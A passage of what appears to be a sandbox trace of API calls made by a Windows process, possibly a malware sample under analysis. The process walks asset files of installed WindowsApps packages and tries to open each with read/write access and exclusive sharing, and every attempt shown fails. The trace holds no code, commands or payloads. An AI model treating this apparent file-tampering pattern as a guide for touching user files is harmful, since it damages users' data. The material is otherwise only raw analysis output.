dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.908] Sleep (dwMilliseconds=0x1) [0238.922] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400.png", len=0x6d | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400.png") returned 1 [0238.922] GetProcessHeap () returned 0x630000 [0238.922] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x517c) returned 0x6fe3bb0 [0238.923] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-400.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.923] Sleep (dwMilliseconds=0x1) [0238.938] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200.png", len=0x6d | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200.png") returned 1 [0238.938] GetProcessHeap () returned 0x630000 [0238.938] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5170) returned 0x6fe3bb0 [0238.939] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.939] Sleep (dwMilliseconds=0x1) [0238.954] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150_contrast-white.png", len=0x7c | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150_contrast-white.png") returned 1 [0238.954] GetProcessHeap () returned 0x630000 [0238.954] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x516c) returned 0x6fe3bb0 [0238.954] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-150_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.954] Sleep (dwMilliseconds=0x1) [0238.970] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125_contrast-white.png", len=0x7c | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125_contrast-white.png") returned 1 [0238.970] GetProcessHeap () returned 0x630000 [0238.970] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5160) returned 0x6fe3bb0 [0238.970] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-125_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.970] Sleep (dwMilliseconds=0x1) [0238.986] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125_contrast-black.png", len=0x7c | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125_contrast-black.png") returned 1 [0238.986] GetProcessHeap () returned 0x630000 [0238.986] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x515c) returned 0x6fe3bb0 [0238.986] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-125_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.986] Sleep (dwMilliseconds=0x1) [0241.002] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\sttionry.jpg", len=0x73 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\sttionry.jpg") returned 1 [0241.002] GetProcessHeap () returned 0x630000 [0241.002] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53fc) returned 0x6fe3bb0 [0241.003] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\sttionry.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\sttionry.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.006] Sleep (dwMilliseconds=0x1) [0243.128] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png", len=0x7f | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png") returned 1 [0243.128] GetProcessHeap () returned 0x630000 [0243.128] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53ac) returned 0x6fe3bb0 [0243.128] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.130] Sleep (dwMilliseconds=0x1) [0243.157] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x68 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0243.157] GetProcessHeap () returned 0x630000 [0243.157] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5350) returned 0x6fe3bb0 [0243.157] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.160] Sleep (dwMilliseconds=0x1) [0243.182] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Light.png", len=0x7b | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Light.png") returned 1 [0243.182] GetProcessHeap () returned 0x630000 [0243.182] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52ec) returned 0x6fe3bb0 [0243.182] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Density_Selected_Light.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\density_selected_light.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.184] Sleep (dwMilliseconds=0x1) [0243.198] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-48.png", len=0x97 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-48.png") returned 1 [0243.198] GetProcessHeap () returned 0x630000 [0243.198] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52bc) returned 0x6fe3bb0 [0243.198] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square44x44logo.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.214] Sleep (dwMilliseconds=0x1) [0243.244] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square150x150Logo.scale-100.png", len=0x95 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square150x150Logo.scale-100.png") returned 1 [0243.244] GetProcessHeap () returned 0x630000 [0243.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5248) returned 0x6fe3bb0 [0243.244] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square150x150Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square150x150logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.244] Sleep (dwMilliseconds=0x1) [0243.264] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Triangle.png", len=0x72 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Triangle.png") returned 1 [0243.264] GetProcessHeap () returned 0x630000 [0243.265] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51f4) returned 0x6fe3bb0 [0243.265] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Triangle.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\triangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.270] Sleep (dwMilliseconds=0x1) [0243.292] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Lightning bolt.png", len=0x78 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Lightning bolt.png") returned 1 [0243.292] GetProcessHeap () returned 0x630000 [0243.292] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x519c) returned 0x6fe3bb0 [0243.293] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Lightning bolt.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\lightning bolt.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.293] Sleep (dwMilliseconds=0x1) [0243.307] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Arrow_icon.png", len=0x74 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Arrow_icon.png") returned 1 [0243.307] GetProcessHeap () returned 0x630000 [0243.308] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5170) returned 0x6fe3bb0 [0243.308] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Arrow_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\arrow_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.317] Sleep (dwMilliseconds=0x1) [0243.340] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400_contrast-white.png", len=0x7d | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400_contrast-white.png") returned 1 [0243.340] GetProcessHeap () returned 0x630000 [0243.340] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5124) returned 0x6fe3bb0 [0243.340] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-400_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-400_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.340] Sleep (dwMilliseconds=0x1) [0243.352] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200.png", len=0x6c | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200.png") returned 1 [0243.352] GetProcessHeap () returned 0x630000 [0243.352] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d4) returned 0x6fe3bb0 [0243.352] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.352] Sleep (dwMilliseconds=0x1) [0243.365] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400_contrast-black.png", len=0x81 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400_contrast-black.png") returned 1 [0243.365] GetProcessHeap () returned 0x630000 [0243.365] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a8) returned 0x6fe3bb0 [0243.365] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-400_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-400_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.365] Sleep (dwMilliseconds=0x1) [0243.398] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100_contrast-white.png", len=0x7d | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100_contrast-white.png") returned 1 [0243.398] GetProcessHeap () returned 0x630000 [0243.398] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5040) returned 0x6fe3bb0 [0243.399] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.399] Sleep (dwMilliseconds=0x1) [0243.412] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_contrast-white.png", len=0x7f | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_contrast-white.png") returned 1 [0243.412] GetProcessHeap () returned 0x630000 [0243.412] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5014) returned 0x6fe3bb0 [0243.412] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-72_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-72_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.412] Sleep (dwMilliseconds=0x1) [0243.429] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40.png", len=0x70 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40.png") returned 1 [0243.429] GetProcessHeap () returned 0x630000 [0243.429] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fc8) returned 0x6fe3bb0 [0243.429] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.429] Sleep (dwMilliseconds=0x1) [0243.444] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_altform-unplated.png", len=0x81 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_altform-unplated.png") returned 1 [0243.444] GetProcessHeap () returned 0x630000 [0243.444] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f9c) returned 0x6fe3bb0 [0243.445] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-30_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.445] Sleep (dwMilliseconds=0x1) [0243.504] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400_contrast-black.png", len=0x7b | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400_contrast-black.png") returned 1 [0243.504] GetProcessHeap () returned 0x630000 [0243.504] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f50) returned 0x6fe3bb0 [0243.505] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-400_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-400_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.505] Sleep (dwMilliseconds=0x1) [0243.523] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100.png", len=0x64 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100.png") returned 1 [0243.523] GetProcessHeap () returned 0x630000 [0243.523] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f04) returned 0x6fe3bb0 [0243.523] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\search.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.523] Sleep (dwMilliseconds=0x1) [0243.535] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\periscope_logo_icon.png", len=0x71 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\periscope_logo_icon.png") returned 1 [0243.535] GetProcessHeap () returned 0x630000 [0243.535] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ef8) returned 0x6fe3bb0 [0243.535] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\periscope_logo_icon.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\periscope_logo_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 